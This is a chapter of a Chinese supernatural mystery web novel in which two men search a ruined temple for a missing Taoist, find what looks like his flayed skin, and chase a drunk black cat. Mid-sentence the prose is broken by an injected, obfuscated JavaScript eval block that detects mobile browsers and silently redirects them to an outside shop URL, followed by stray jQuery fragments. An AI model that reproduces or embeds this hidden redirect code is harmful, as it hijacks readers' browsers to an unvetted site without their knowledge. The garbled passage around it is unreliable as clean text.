第二天上午,阳光很好。
萧衍和强子从溪城老宅出来的,没瞬移,打车到的观音巷。
强子怀里抱着两瓶酒,用红布包着,瓶身是瓷的,白底青花,看着有些年头。
邋遢道人的庙在观音巷尽头,比强子描述的还破。
一间土坯房,屋顶塌了一半,用塑料布遮着,塑料布被风吹得哗啦响,像一面破旗。
门口没有门,就那么敞着,像一张缺了牙的嘴。
门槛被踩得凹陷下去,露出里面的黄土。
萧衍站在庙前,看了一眼。
庙里光线昏暗,正中央摆着一张供桌,桌上供着两尊神像,漆早就剥落了,看不清是什么神。香炉里插着几支香,还在冒烟,说明刚有人来过。
“有人?”强子探头往里看。
“进去看看。”
两人跨过门槛,进了庙。
庙不大,只有三间。正面是供奉神明的地方,供桌前面摆着两个蒲团,一个旧的,一个更旧的,边缘都磨出了毛边。
萧衍走到供桌前,抬头看神像。
左边那尊,依稀能看出是个女性,手里抱着什么东西,可能是孩子。
右边那尊,手里握着一把剑,但剑身断了,只剩半截。
两尊神像的脸上都有裂纹,从额头裂到下巴,像被人用刀划过。
强子四处看了看,发现没人,便说:“老道不在家。”
萧衍收回目光,转身往外走。刚走到门口,看见两个妇女从巷子那头走过来,手里拎着篮子,篮子里装着水果和香烛。
“两位大姐好,来上香的?”强子问。
两个妇女走到庙前,看见萧衍和强子,愣了一下。
年纪大的那个五十来岁,穿着卡其色运动装,头发梳得整整齐齐。年纪小的那个三十出头,穿着黄色T恤和牛仔裤。
“你们是?”年纪大的妇女打量着两人。
“我们来找道长的。”萧衍说,“他好像不在。”
年纪大的妇女把篮子放下,从里面取出香烛:“道长出门两天了,说是去山里采药,什么时候回来不知道。”
萧衍又问:“道长经常出门吗?”
“一年中总会出去几次吧,我们都是附近的老香客了。”妇女把香烛点燃,插在香炉里,“道长这人说走就走,也不锁门。他以前说过,他不在,想上香的自己上,想打扫的帮忙扫扫。他一穷二白,没什么可丢的。”
她说着,跪在蒲团上,磕了三个头。年纪小的妇女也跟着跪下,虔诚地磕头。
萧衍看着两个妇女上香,等她们起身,才开口问:“大姐,你们认识林老板吗?”
“回春堂那个?”年纪大的问。
强子说:“对。”
“认识,怎么不认识。"年纪大的妇女拍了拍膝盖上的灰,"以前常去他那儿抓药,人挺好的,可惜了的,因为那些有钱的压人,活活把个好大夫逼死了,唉~”
强子又说:“听说他和道长挺熟悉的。”
“嗯,熟人,他俩常一起喝酒。”年纪大的妇女说。
强子又问:“他们经常去哪里喝酒啊?”
“那我不知道,我也没看见过。”妇女摇头。
年纪小的妇女也开口了:“我倒是听道长说过一回,说林老板这人讲义气,他出门的时候,都是林老板过来帮忙收拾屋子,扫扫地,添添香灰。等道长回来,两人就喝酒。但我也没见过。”
强子点点头,没再追问。
两个妇女上完香,又聊了几句家常,便走了。
庙里只剩下萧衍和强子。
阳光从屋顶的破洞里漏下来,照在供桌上,灰尘在光柱里浮动,像无数细小的虫子。香炉里的香还在烧,烟袅袅上升,在空气中散开。
强子说:“我挨个屋子都看了,老道真不在,赶巧儿了不是。”
萧衍走到庙门口,往外看。
巷子尽头是一堵墙,墙头上长着几棵野草。墙根下堆着些破烂,破筐、烂木头、碎瓦片,像是被谁随手扔在那里的。
萧衍打量了这个环境,来了扑空,心里多少有点不甘。
强子说:“还要进去看看吗,你不看我自己进去把酒给他放桌子上。”
萧衍收回目光,转身进了庙。
两人来到邋遢道人睡觉的房间,一张木板床,床上铺着一床黑乎乎的被子,已经看不出原来的颜色。
床边一张破桌子,桌上放着几个空碗,碗里还有干涸的饭粒。地上扔着几件衣服,一件道袍,一件汗衫,都脏得发亮。
强子皱了皱眉:“是真邋遢。”
萧衍没说话,目光在屋里扫了一圈。
墙上挂着一面镜子,镜子是铜的,已经氧化了,照出来的人影模糊变形。
镜子旁边贴着一张报纸,报纸发黄,边角卷曲,上面的字已经看不清了。床底下露出一只鞋,鞋底磨穿了,露出里面的草垫。
强子把酒放在桌上,看着这乱糟糟的屋子,响起上次和老道聊天还挺愉快,老道还透露不少信息给他,于是决定简单给他的屋子归置一下。
强子挽起袖子,开始动手。他把地上的衣服捡起来,叠好,放在床尾。
把桌上的空碗摞在一起,用袖子擦了擦桌面。
又把床底下的那只鞋掏出来,和另一只配在一起,塞到床底下。
萧衍站在门口,看着强子忙活。
强子收拾到桌子下面的一个破箱子时,停住了。
那箱子是木头的,没有盖,里面堆着些杂物,破书、旧衣服、几根干枯的草药。
强子伸手进去,想把那些草药拿出来扔掉,手指碰到一个东西,软的。
强子愣了一下,手指捏了捏,然后把它从箱子里扯了出来,是一张皮子,也不知道是什么皮子。
强子把它摊开在地上之后,吓了一跳,这特么是一张人皮啊!
完整的,从头顶到脚底,五官还在,眼睛闭着,嘴唇抿着,脸上的皱纹、沟壑,都和邋遢道人一模一样。
皮很有弹性,没有腐烂,保持着生前的形状,只是瘪了下去,像一件被掏空了的衣服。
“哥!”强子的声音变了调。
萧衍快步走过来,看见那张皮,脚步顿住。
两人盯着那张皮,看了很久。
阳光从屋顶的破洞漏下来,照在人皮上,灰尘在光柱里浮动。人皮的表面泛着一种诡异的光泽,像涂了一层油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795355|210505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,又像是在呼吸,微微起伏。
“邋遢道人……”强子咽了口唾沫,“被害了?”
萧衍没说话。他蹲下身,仔细查看那张皮。
皮的边缘很整齐,不是撕扯的,是完整的剥离,从头顶开始,沿着脊椎,一直到底。
皮上没有任何伤口,没有任何血迹,像是从一个完整的人身上,完整地脱了下来。
萧衍站起身,目光在屋里扫了一圈。
屋里还是那间破屋,木板床、破桌子、脏衣服,一切都没有变化。
但此刻,这些东西都蒙上了一层诡异的光,出现了一种前所未有的诡异感。
“有人来过。”萧衍说,萧衍走到窗边,推开那扇破木窗。
窗外是庙的后院,很小,只有几平米,堆着些破烂。一阵风从窗外吹进来,带着一股气味。
很浓的酒气,萧衍闻到这股味道,皱了皱眉。
强子凑过来,也闻到了:“这味道……”
萧衍问:“这味道有什么不妥?”
强子说:“上次和老道聊天的时候,他说林老板请他喝酒经常喝这种散白酒,就喝现在闻到的差不多了。”
萧衍没说话,他翻身跳了出去。强子紧随其后。
后院墙角有一棵歪脖子树,树下放着一个破盆,盆里有些积水,水面上漂着几片落叶。
酒气是从树后面传来的,萧衍绕过去,强子跟上。
树后面,蜷缩着一只黑猫。和昨晚应该是同一只,身形极大,比普通的猫大了一圈。
但此刻,它没有那种凌厉的气势,而是蜷缩在树根旁,眼睛半睁半闭,绿色的瞳孔涣散。
它的嘴边有一滩水渍,不是口水,散白的酒气从它身上散发出来,浓得呛人。
它喝醉了。
强子愣了一下,随即反应过来:“哥,这?”
他刚要上前,黑猫猛地睁开眼,它看了萧衍一眼,然后身形一闪,从树根旁窜了出去。
“别跑!”强子拔腿就追。
黑猫的速度极快,像一道黑色的闪电,从后院窜上墙头,又从墙头跃上屋顶,几个起落,消失在巷子尽头。
强子追到墙根下,抬头看着空荡荡的屋顶,看样子追不上了。
他转过身:“哥,哥,猫——喝酒吗?”
萧衍站在树旁,看着黑猫消失的方向,没说话。
阳光从头顶照下来,照在他脸上,一半亮,一半暗。
后院的角落里,那个破盆里的水还在晃,几片落叶在水面上打转。
远处,观音巷里传来几声狗叫,突兀地响起,又突兀地停下。
萧衍收回目光,转身往回走。
“哥,”强子跟上,“接下来怎么办?”
萧衍说:“回去,和师兄商量一下。”
“那这里呢?”
“这里不用管。”
“那只猫呢?”
“先回去再说。”
两人从后院绕回庙里,又从庙里出来。供桌上的香还在烧,烟袅袅上升。
两尊神像脸上的裂纹,在阳光里显得格外深,像两张破碎的脸,沉默地注视着一切。
强子回头看了一眼,快步跟上萧衍。